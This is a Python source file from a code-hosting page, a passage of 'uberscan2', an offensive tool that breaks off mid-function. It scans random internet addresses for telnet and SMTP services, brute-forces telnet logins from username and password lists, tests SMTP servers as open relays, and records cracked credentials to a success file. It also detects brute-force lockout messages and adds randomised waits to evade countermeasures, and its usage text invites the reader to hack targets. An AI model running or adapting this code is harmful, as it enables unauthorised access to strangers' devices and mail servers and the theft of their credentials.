-
Notifications
You must be signed in to change notification settings - Fork 0
/
uberscan2.py
1796 lines (1369 loc) · 60.8 KB
/
uberscan2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python3
#************************** PrintUsage *****************************
def PrintUsage():
print ("")
print ("\t\t\tUBERSCAN2")
print ("\t\tThe python version of Uberscan!!")
print ("")
print ("\t\t Copyright (c) 2024 Batch McNulty")
print ("")
print ("UNDER CONSTRUCTION:")
print ("-bad_ip_logging Telnet Only for now. For use with lots of ips - logs when your IP has \"finished\" due to a bad IP but you still have usernames & passwords to try.")
#print ("-hack: keepwhois Scan whois, but keep files ")
print (" END OF UNDER CONSTRUCTION")
print ("-redials: nn or OFF Telnet Only for now. The number of times I try to contact each server. Automatically turns off when we're searching randomly but can be overriden. Defaults 5 or OFF")
print ("-halt_on_hack Telnet Only for now. If set, will halt the program once it thinks a target has been successfully hacked. You can always resume with -resume")
print ("-retries: nn Telnet only. If you're getting many false positives or it stops hacking too early, increase this number (default 10)")
print ("-wait: nn wait a set number of seconds between tries. Default 1. Accepts floats.")
print ("-waitrand: nn wait a random number of seconds between that set by wait and nn between tries. Accepts floats.")
print ("-test_interval: nn Interval between tests (in number of connections). Defaults 1. Choose a LARGE number to switch off testing entirely!")
print ("-number_of_pings: n Number of pings to send when testing internet connection. Default 1, increase if your connection is bad")
print ("-ping_target: foo Target of pings. Default is google.com")
print ("-hourly_backups Back up bookmark file hourly, good for long runs with flaky comms")
print ("-save: blah.txt save to bookmark file blah.txt (saves to BOOKMARK.TXT by default)")
print ("-resume: blah.txt Resume from bookmark file bookmark.txt")
print ("-timeout: nn Timeout value in seconds (duh). Also waits this many seconds between tries")
print ("-port: nn where nn = port number (ie, 25)")
print ("-hack: searchwhois: foo Search WHOIS database for content foo (case insensetive")
print ("-hack: smtphelo Auto test numbers in ipnumbers.txt again smtp HELO command")
print ("-hack: smtphack Try the SMTP hack")
print ("-hack: telnet Try to hack telnet")
print ("-keepfound Keep servers found even if we couldn't hack them (Only works with -hack: telnet)")
print ("-ipnumber: nn.nn.nn.nn Use nn.nn.nn.nn as the target address, single-crack stylee (UNDER CONSTRUCTION")
print ("-ipfile: blah.txt Use file blah.txt for IP addresses. If no IP address or file is given, will search randomly" )
print ("-random_from_file Search randomly in file (Used with -ipfile: )")
print ("-successfile: blah.txt use file blah.txt to output successful hax!")
print ("-foundfile: blah.txt use file blah.txt to output found IPs (implies -keepfound)")
print ("-dumpfile: blah Use blah as dump file (dumps any & all interactions)")
print ("-userfile: blah.txt Use blah.txt instead of usernames.txt")
print ("-pwdfile: blah.txt Use blah.txt instead of passwords.txt")
print ("\n -examples Manual and usage examples (not saved)")
print (" -key Key for editing BOOKMARK.TXT (not saved)")
print ("")
#print (" ")
print ("NB: Default behaviour is to try random ip addresses with a timeout of 1 seconds")
print ("")
print ("And finally, my bitcoin address is 3A7yuqBcPAcVEM59bNAVQdTCmkxRb5JRgE")
print ("So give me some money, you know it makes sense!")
print ("")
# quit()
########################### PRINTEXAMPLES ############################
def PrintExamples():
print ("")
print ("")
print ("Some usage examples:")
print ("\n uberscan2 -hack: telnet -keepfound -test_interval: 99999")
print ("\n This will look for open telnet ports in random addresses and put them in found.txt. Since we are searching random address space, we don't need to test connectivity so a large value is passed to -test_interval:")
print ("")
print (" uberscan2 -hack: telnet -keepfound -ipfile: ipnumbers.txt -hourly_backups")
print ("\n Look for open telnet ports using ipnumbers.txt as a source file, put them in found.txt. Since we are eliminating possibilities from a text file, we leave connectivity tests alone and ensure we backup our resume files every hour")
print ("")
print (" uberscan2 -hack: telnet -ipnumber: 1.2.3.4 -userfile: filename.txt -pwdfile: another.txt -waitrand: 1.99")
print ("\n You're hacking a target at last, and you need to input the target IP number and custom username and password filenames. You add a -waitrand: of 1.99 seconds to get the full benefit of floating point random numbers between 1 and 2 as a wait period. Have fun!")
print ("")
print ("When searching for new prospects, always check the dumpfile (dump.txt unless you specify otherwise) as it won't always pick up every single thing it finds. However be aware that they're in the dumpfile for a reason so stuff found there might not work.")
print ("")
def PrintKey():
print ("\n")
print ("--------- KEY for editing BOOKMARK.TXT -------------")
print ("\n")
print (" LINE KEY")
print ("")
print (" 1 Name of the resume file, ie BOOKMARK.TXT")
print (" 2 Name of the ip numbers file, if applic, otherwise False")
print (" 3 Name of the usernames file, ie usernames.txt")
print (" 4 Name of the passwords file, ie passwords.txt")
print (" 5 Name of the file to print successes to, ie success.txt")
print (" 6 -keepfound rider variable. True or False")
print (" 7 Name of the file to print found IPs to, ie found.txt or False of not applicable")
print (" 8 -wait: rider / internal variable, ie 1")
print (" 9 -waitrand rider / internal variable, ie 1.999")
print (" 10 ip_idx internal variable. Index of bookmark in ip numbers file, or n/a if not applicable")
print (" 11 -port: rider / internal varibale, the port to scan on, ie 23")
print (" 12 -hack: rider / internal variable, which hack to use, ie telnet")
print (" 13 user_idx internal variable. Index of usernames file, ie 5, or n/a if not applicable")
print (" 14 pwd_idx internal variable. Index of passwords file, ie 2, or n/a if not applicable")
print (" 15 Name of the dump file for dumping interesting stuff we've found. This is usally dump.txt")
print (" 16 IP number if single-crack mode, otherwise n/a")
print (" 17 -hourly_backup rider / internal variable. True or False")
print (" 18 -test_interval rider / internal variable. Numeric")
print (" 19 -number_of_pings rider / internal variable. Numeric")
print (" 20 -ping_target rider / internal varianble, ie google.com")
print (" 21 -ranndom_from_file rider / internal variable, ie False")
print (" 22 -timeout: rider / internal variable, ie 2")
print (" 23 -retries: rider / internal variable, ie 10.")
print (" 24 -halt_on_hack rider / internal variable, ie True")
print (" 25 -redials: rider / internal variable, ie 3.")
print (" 26 -bad_ip_logging: rider / internal variable, ie True.")
print (" 27 Reserved for future use.")
print (" 28 Reserved for future use.")
print ("\n")
'''
ip number
hourlly backup
test interval
number of pings
ping target
'''
##############WaitBetweenConn ##########################
#### Wait between connections
def WaitBetweenConn (wait, waitrand):
import random
wait = float (wait)
waitrand = float(waitrand)
print ("wait",wait,type(wait))
print (waitrand, waitrand, type(waitrand))
#quit ()
if (waitrand == False):
print ("Wait ",wait,"secs for potential reconnect wait... (not in subroutine)")
print ("Wait ",wait,"secs for potential reconnect wait... (not in subroutine)")
print ("Wait ",wait,"secs for potential reconnect wait... (not in subroutine)")
time.sleep (wait)
else:
randfloat = random.uniform(wait,waitrand)
randfloat = round (randfloat, 2)
print ("Waiting",randfloat,"(random) secds for reconnect timeout (out of sub)")
print ("Waiting",randfloat,"(random) secds for reconnect timeout (out of sub)")
print ("Waiting",randfloat,"(random) secds for reconnect timeout (out of sub)")
time.sleep(randfloat)
#print (type (randfloat))
#quit ("randfloat ^")
#************************ Hacksmtp_helo *************************
def Hacksmtp_helo (serverHost, serverPort, timeout):
import sys
import time
# uname_n_pwd = [username,password]
#sockobj= socket(AF_INET, SOCK_STREAM)
try:
sockobj= socket(AF_INET, SOCK_STREAM)
sockobj.settimeout(timeout)
except:
print ("*** COULDN'T START STREAM, BAD IP?")
return ("BADIP")
#sockobj= (AF_INET, SOCK_STREAM)
data = ""
try:
sockobj.connect((serverHost, serverPort))
data = sockobj.recv(1024)
#except socket.timeout:
# print ("*** CONNECTION TIMED OUT ***")
# return ("BADIP")
except:
print ("*** COULDN'T CONNECT, SUCKY IP ADDRESS ***")
return ("BADIP")
print ("*******************************************")
print ("First reply from",serverHost, repr(data))
print ("First reply (raw):",data)
print ("*******************************************")
if (repr(data) == "b''"):
print (" *** SOME BULLSHIT, SKIPPING ***")
return ("BADIP")
#print (hack, uname_n_pwd[hack])
sockno = sockobj
print ("sockno:",sockno)
print ("sending HELO...")
sockobj.send ("HELO".encode('ascii')+b"\n")
data = sockobj.recv(1024)
print ("from",serverHost, repr(data))
print ("Decd",serverHost, data.decode())
#print ("Attempt to get inside repr(data):")
#print (data (socket))
result = repr(data)
openhandles = sockobj.close()
print ("openhandles:",openhandles)
sockno = sockobj
print ("sockno:",sockno)
#print ("Dec\'d:",sockno.decode())
#sockobj.shutdown(openhandles)
time.sleep (1)
if (result.find('452 syntax error (connecting)') > -1):
print ("Syntax error error message.")
return (False)
else:
print ("***********MAYBE!!*********")
return (True)
#************************ SearchWHOIS ********************************
def SearchWHOIS (ipnumber, searchfor):
import subprocess
import sys
import time
print ("IP number:",ipnumber, "Search string:", searchfor)
command = "whois",ipnumber
print ("command:",command)
print ("******************************************************")
print ("******** SEARCHSTRING:",searchfor,"**********************")
searchfor = searchfor.casefold()
print ("****** LOWERCASE SEARCHSTRING:",searchfor,"********")
#whoisresult = subprocess.run ([command], capture_output = True)
#whoisresult = subprocess.run (command, capture_output = True)
try:
whoisresult = subprocess.check_output (command)
except:
print ("Prolly not a real IP address. Try another.")
return (False)
print ("**********************************************************")
print ("whoisresult:",whoisresult)
#finalresult = pipe.stdout.read
#print ("**********************************************************")
#print ("finalresult:",finalresult)
print ("**********************************************************")
print (type (whoisresult))
whoisresult = str (whoisresult)
print (type (whoisresult))
whoisresult = str(whoisresult.casefold())
print ("**********************************************************")
print ("LOWERCASE WHOISRESULT:", whoisresult)
print ("**********************************************************")
#searchresult = whoisresult.find (searchfor)
searchresult = searchfor in whoisresult
print ("searchresult:",searchresult)
#searchresult = b'searchfor' in whoisresult
print ("**********************************************************")
print ("******** SEARCHSTRING:",searchfor,"**********************")
print ("******************************************************")
if searchresult == True:
print ("Found!")
else:
print ("Not found!")
print (searchresult)
return (searchresult)
# ************************************************************************************************
#************************ Hacksmtp *************************
def Hacksmtp (serverHost, serverPort, timeout):
import sys
import time
print ("host:",serverHost,"port:",serverPort,"timeout:",timeout)
#time.sleep(1)
# uname_n_pwd = [username,password]
#sockobj= socket(AF_INET, SOCK_STREAM)
try:
sockobj= socket(AF_INET, SOCK_STREAM)
sockobj.settimeout(timeout)
except:
print ("*** COULDN'T START STREAM, BAD IP?")
return ("BADIP")
#sockobj= (AF_INET, SOCK_STREAM)
data = ""
try:
sockobj.connect((serverHost, serverPort))
data = sockobj.recv(1024)
#except socket.timeout:
# print ("*** CONNECTION TIMED OUT ***")
# return ("BADIP")
except:
print ("*** COULDN'T CONNECT, SUCKY IP ADDRESS ***")
return ("BADIP")
print ("*******************************************")
print ("First reply from",serverHost, repr(data))
print ("First reply (raw):",data)
print ("*******************************************")
if (repr(data) == "b''"):
print (" *** SOME BULLSHIT, SKIPPING ***")
return ("BADIP")
#print (hack, uname_n_pwd[hack])
sockno = sockobj
print ("sockno:",sockno)
print ("sending HELO...")
try:
sockobj.send ("HELO localhost".encode('ascii')+b"\n")
data = sockobj.recv(1024)
except:
print ("TIMED OUT, Returning False at HELO")
return (False)
print ("from",serverHost, repr(data))
print ("Decd",serverHost, data.decode())
#print ("Attempt to get inside repr(data):")
#print (data (socket))
result = repr(data)
if (result.find('452 syntax error (connecting)') > -1):
print ("Syntax error error message.")
return (False)
print ("sending MAIL FROM:...")
try:
sockobj.send("MAIL FROM: localhost".encode('ascii')+b"\n")
data = sockobj.recv(1024)
except:
print ("TIMED OUT, Returning False at MAIL FROM")
return (False)
print ("from",serverHost, repr(data))
print ("Decd",serverHost, data.decode())
#print ("Attempt to get inside repr(data):")
#print (data (socket))
result = repr(data)
print ("sending RCPT TO:...")
try:
sockobj.send("RCPT TO: localhost".encode('ascii')+b"\n")
data = sockobj.recv(1024)
except:
print ("TIMED OUT, returning False at RCPT TO")
return (False)
#data = sockobj.recv(1024)
print ("from",serverHost, repr(data))
print ("Decd",serverHost, data.decode())
#print ("Attempt to get inside repr(data):")
#print (data (socket))
result = repr(data)
openhandles = sockobj.close()
print ("openhandles:",openhandles)
sockno = sockobj
print ("sockno:",sockno)
#print ("Dec\'d:",sockno.decode())
#sockobj.shutdown(openhandles)
time.sleep (timeout)
if (result.find("250") > -1):
print ("**** MAYBE ON HACKSMTP()! ****")
return (True)
if (result.find("251") > -1):
print ("**** MAYBE ON HACKSMTP()! ****")
return (True)
if (result.find("354") > -1):
print ("**** MAYBE ON HACKSMTP()! ****")
return (True)
else:
print ("**** LOOKS BAD ON HACKSMTP()! ***!")
return (False)
# *********************** DumpData **********************************
def DumpData(serverHost,serverPort, username, password, timeout, data, dumpfile):
print ("**** Emergency dump from IP:",ipnumber,"\n port:",port,"username tried was",username, "password tried was", password,"timeout was", timeout,"data encountered was", data, "****")
dumphandle = open(dumpfile, "a")
print ("\n ************** Emergency dump ****************\n\n from IP:",ipnumber,"\n port:",port,"\n username tried was",username, "\n password tried was", password,"\n timeout was", timeout,"\ndata encountered was(newline is mine):\n", data, "\n*************************** END OF DATA *************************\n\n\n\n\n", file = dumphandle)
dumphandle.close()
#************************ HackTelnet *************************
# I think the problem with this is it's using recv, which is too low level a system call.
def HackTelnet (serverHost, serverPort, username, password, timeout, retries):
import sys
import time
original_retries = retries
#retries = 3
uname_n_pwd = [username,password]
try:
sockobj= socket(AF_INET, SOCK_STREAM)
sockobj.settimeout(timeout)
print ("HANDSHAKE #1, sucess! (The network often does this spuriously though)")
except:
print ("*** COULDN'T START STREAM, BAD IP?")
retries = original_retries
return ("BADIP")
data = ""
while (retries > 0):
try:
sockobj.connect((serverHost, serverPort))
data = sockobj.recv(1)
retries = 0
print ("HANDSHAKE #2, success! (This time it's real!)")
except:
retries -= 1
print ("HANDSHAKE #2, fail! Retries:",retries)
if (retries == 1):
print ("*** CAN'T CONNECT TO TELNET HOST ***")
print ("*** CAN'T CONNECT TO TELNET HOST ***")
print (" Either no host exists, network weather is bad, or countermeasures are in effect. ")
print (" If there is definitely a server here, try increasing retries")
retries = original_retries
return ("BADIP")
retries = original_retries
print ("*******************************************")
print ("First reply from",serverHost, repr(data))
print ("First reply (raw):",data)
print ("*******************************************")
'''
if (repr(data) == "b''"):
print (" *** SOME BULLSHIT, SKIPPING ***")
print (" *** SOME BULLSHIT, SKIPPING ***")
print (" *** SOME BULLSHIT, SKIPPING ***")
print (" *** SOME BULLSHIT, SKIPPING ***")
openhandles = sockobj.close()
print ("openhandles:",openhandles)
time.sleep(timeout)
quit ("Bullshit detected, turns out you may not need this")
retries = original_retries
return ("BADIP")
'''
for hack in range (0,2):
print ("*********** HACKLOOP BEGINS. Have looped:",hack,"times ********")
print (hack, uname_n_pwd[hack])
sockno = sockobj
print ("sockno:",sockno)
result = repr(data)
looptimes = 0
if (result.find('Protection of brute force attack') > -1):
print ("*** LOCKED OUT by ICE!! *** (telnet found a \"Protection of brute force attack\" error message)")
DumpData(serverHost,serverPort, username, password, timeout, data, dumpfile)
retries = original_retries
return ("BADIP")
####### Wait till we have what looks like a prompt (the string ":") (not the quotations marks dummy) #######
print ("FROM ",serverHost, ":")
while (result.find(':') < 0):
retries = original_retries
try:
data = sockobj.recv(1)
except:
print ("Couldn't get data after handshake negotiated. Dumping and quitting...")
DumpData(serverHost,serverPort, username, password, timeout, data, dumpfile)
print ("IP: ",serverHost, ":",serverPort)
retries = original_retries
return ("BADIP")
result = repr(data)
looptimes += 1
#print ("FROM ",serverHost, ":",result)
#print (result, sep = '', end = '')
#print (data, sep = '', end = '')
#print (str(result), end = '')
try:
print (data.decode(), sep= '', end = '')
except:
print ("FROM ",serverHost, ":",result)
if (looptimes > 1020):
print ("Something has gone wrong. Dumping data to file and quitting")
DumpData(serverHost,serverPort, username, password, timeout, data, dumpfile)
print ("IP: ",serverHost, ":",serverPort)
retries = original_retries
return ("BADIP")
print ("sending",uname_n_pwd[hack])
time.sleep (timeout)
try:
sockobj.send (uname_n_pwd[hack].encode('ascii')+b"\n")
except:
print ("Couldn't send (timed out?), dumping data....")
DumpData(serverHost,serverPort, username, password, timeout, data, dumpfile)
retries = original_retries
return ("BADIP")
#time.sleep (timeout)
retries = original_retries
while (retries > 0):
try:
data = sockobj.recv(1024)
print ("Getting reply: Success! Retries:",retries)
retries -= 1
except:
#print ("There's something there but I can't get to it. (timeout?) Keep this IP for later.")
#DumpData(serverHost,serverPort, username, password, timeout, data, dumpfile)
#return ("BADIP")
retries -=1
print ("Getting reply: Fail! Retries:",retries)
#time.sleep (0.001)
retries = original_retries
result = repr(data)
print ("RECV'd:",result)
if (result == "b'\r\n'"):
print ("This is the recurring false pos problem. Escape routine ONE (1) ")
#return ("BADIP")
quit("1")
if (result == b'\r\n'):
print ("This is the recurring false pos prob - Escape routine TWO (2)")
#return ("BADIP")
quit ("2")
if (result == b''):
print ("This is the recurring false pos prob - Escape routine THREE (3)")
#return ("BADIP")
quit ("3")
if (result == "b''"):
print ("This is the recurring false pos prob - Escape routine FOUR (4)")
return ("BADIP")
quit ("4")
if (result.find('Protection of brute force attack') > -1):
print ("*** LOCKED OUT by ICE!! *** (telnet found a \"Protection of brute force attack\" error message)")
DumpData(serverHost,serverPort, username, password, timeout, data, dumpfile)
retries = original_retries
return ("BADIP")
time.sleep(0.01)
result = repr(data)
openhandles = sockobj.close()
print ("openhandles:",openhandles)
sockno = sockobj
print ("sockno:",sockno)
print ("FINAL RECVD DATA:",result)
#print ("Dec\'d:",sockno.decode())
#sockobj.shutdown(openhandles)
retries = original_retries
time.sleep(0.1)
if (result.find('Protection of brute force attack') > -1):
print ("*** LOCKED OUT by ICE!! *** (telnet found a \"Protection of brute force attack\" error message)")
DumpData(serverHost,serverPort, username, password, timeout, data, dumpfile)
return ("BADIP")
if (result.find('Please retry after') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"Please retry after\" error message)")
return (False)
if (result.find('Authentication fail') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"Authentication fail\" error message)")
return (False)
if (result.find('User not exist.') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"User not exist.\" error message)")
return (False)
if (result.find('ailed') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"ailed\" error message)")
return (False)
if (result.find('nvalid') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"nvalid\" error message)")
return (False)
elif (result.find('ailure') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"ailure\" error message)")
return (False)
elif (result.find('ogin:') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"ogin:\" prompt)")
return (False)
elif (result.find('sername:') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"sername:\" prompt)")
return (False)
elif (result.find('assword:') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"sername:\" prompt)")
return (False)
elif (result.find('ad name or password') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found a \"ad name or password\" error message)")
return (False)
elif (result.find('incorrect') > -1):
print ("WRONG USERNAME OR PASSWORD (telnet found an (\"incorrect\" error message)")
return (False)
else:
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("*********************** YOU MAY HAVE CRACKED THE CODE (Telnet)!! ***************************")
print ("If this is a false positive, try increasing retries and timeout with -retries: and -timeout: riders")
time.sleep (timeout)
return (True)
#*********************** WRITEFOUNDFILE ************************
def WriteFoundFile(foundfile, ipnumber, port, username, password):
import time
#foundfile = "found.txt"
print ("**** found host on:",ipnumber, port,username, password, "****")
foundhandle = open(foundfile, "a")
print (ipnumber, port,username, password, file = foundhandle)
foundhandle.close()
time.sleep(0.1)
#*********************** WRITESUCCESSFILE ************************
def WriteSuccessFile(successfile, ipnumber, port, username, password):
import time
#successfile = "success.txt"
print ("**** Success on:",ipnumber, port,username, password, "****")
handle = open(successfile, "a")
print (ipnumber, port,username, password, file = handle)
handle.close()
time.sleep(0.1)
#************************** WRITESAVEFILE *******************************
def WriteSaveFile(save_name, ipfile, userfile, pwdfile, successfile, keepfound, foundfile, wait, waitrand, ip_idx, port, hack, user_idx, pwd_idx, dumpfile, ip_number, hourly_backup, test_interval, number_of_pings, ping_target, random_from_file, timeout, retries, halt_on_hack, redials, bad_ip_logging, future2, future3):
import time
print ("*** Writing save file",save_name,"***")
handle = open(save_name, "w")
print (save_name, ipfile, userfile, pwdfile, successfile, keepfound, foundfile, wait, waitrand, ip_idx, port, hack, user_idx, pwd_idx, dumpfile, ip_number, hourly_backup, test_interval, number_of_pings, ping_target, random_from_file, timeout, retries, halt_on_hack, redials, bad_ip_logging, future2, future3, sep = "\n", file = handle)
handle.close()
time.sleep (0.1)
############################# GETOPTION #########################
def GetOption(option):
try:
optno = sys.argv.index(option)+1
actualoption = str(sys.argv[optno])
print (option,actualoption, sep = "")
return (actualoption)
except:
#print ("No option found for option",option)
return (False)
############################# GETSINGLEOPTION #########################
def GetSingleOption(option):
try:
optno = sys.argv.index(option)
actualoption = str(sys.argv[optno])
print (option,":",actualoption)
return (True)
except:
#print ("No option found for option",option)
return (False)
######################### GETRANDOMIP ##############################
def GetRandomIP():
import random
first_octet = 127
first_n_second = "192.168"
while (first_octet == 127 or first_n_second == "192.168"):
first_octet = random.randint(0,256)
second_octet = random.randint(0,256)
third_octet = random.randint(0,256)
fourth_octet = random.randint(0,256)
first_n_second = str(first_octet)+"."+str(second_octet)
ipnumber = str(first_octet)+"."+str(second_octet)+"."+str(third_octet)+"."+str(fourth_octet)
print ("random ipnumber is:",ipnumber)
return(ipnumber)
########################## HOURLYBACKUP **************************
def HourlyBackup(hourly_backup, lap_time, save_name, hours):
import os
import time
print ("********* HOURLYBACKUP HOURLYBACKUP HOURLYBACKUP ********* ")
print ("hourly_backup:",hourly_backup, type (hourly_backup))
if (hourly_backup == True):
current_time = time.perf_counter()
elapsed_time = current_time - lap_time
print ("HOURLYBACKUP current time:",current_time)
print ("HOURLYBACKUP lap_time:",lap_time)
print ("HOURLYBACKUP elapsed time:",elapsed_time)
if (elapsed_time > 3600):
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
print ("**** DOING HOURLY BACKUP BACKUP! **** ")
hours += 1
hourly_save_name = save_name + (str(hours))
print (save_name)
print (hourly_save_name)
execute = "cp " + save_name + " " + hourly_save_name + "hour" + ".bak"
print (execute)
os.system(execute)
time.sleep (0.1)
lap_time = time.perf_counter()
print ("lap_time:", lap_time)
print ("lap_time:")
return (lap_time, hours)
################## DOHTTPONLINETEST #############################
def DoHTTPOnlineTest(test_interval, test_counter):
import urllib.request
tests_run = 0
webpage = "NOT YET ASSIGNED BY PROGRAM"
if (test_interval % test_counter == 0):
test_passed = False
while (test_passed) == False:
tests_run += 1
testurl = "https://google.com"
print ("Trying ",testurl)
#webpage = urllib.request.urlopen(testurl)
#print ("Webpage:",webpage)
try:
webpage = urllib.request.urlopen(testurl)
test_passed = True
return
except:
print ("We're NOT ONLINE! ARGH! Sleeping 600s...")
time.sleep(600)
print ("****WARNING ***")
print ("****WARNING ***")
print ("****WARNING ***")
print ("****WARNING ***")
print ("If you can read this, there might be a problem with your internet. ")
print ("tests run:",tests_run)
print ("Webpage:",webpage)
#quit ("online testville")
################## PINGTEST ###########################################
def PingTest(number_of_pings, ping_target):
import os
response = os.system("ping -c " + str(number_of_pings) + " " + ping_target)
if (response == 0):
print (ping_target,"is up")
return (True)
else:
print (ping_target,"is down")
return (False)
######################################################################
################## DOONLINETEST #############################
def DoOnlineTest(number_of_pings, ping_target, test_interval, test_counter):
tests_run = 0
webpage = "NOT YET ASSIGNED BY PROGRAM"
timetosleep = 1
ten_min_counter = 0
if (test_interval % test_counter == 0):
test_passed = False
while (test_passed) == False:
tests_run += 1
if (timetosleep < 6): timetosleep = tests_run
else: timetosleep *= 10
print ("Trying ",ping_target)
test_passed = PingTest(number_of_pings, ping_target)
if test_passed == True:
return
print ("****WARNING ***")
print ("****WARNING ***")
print ("****WARNING ***")
print ("****WARNING ***")
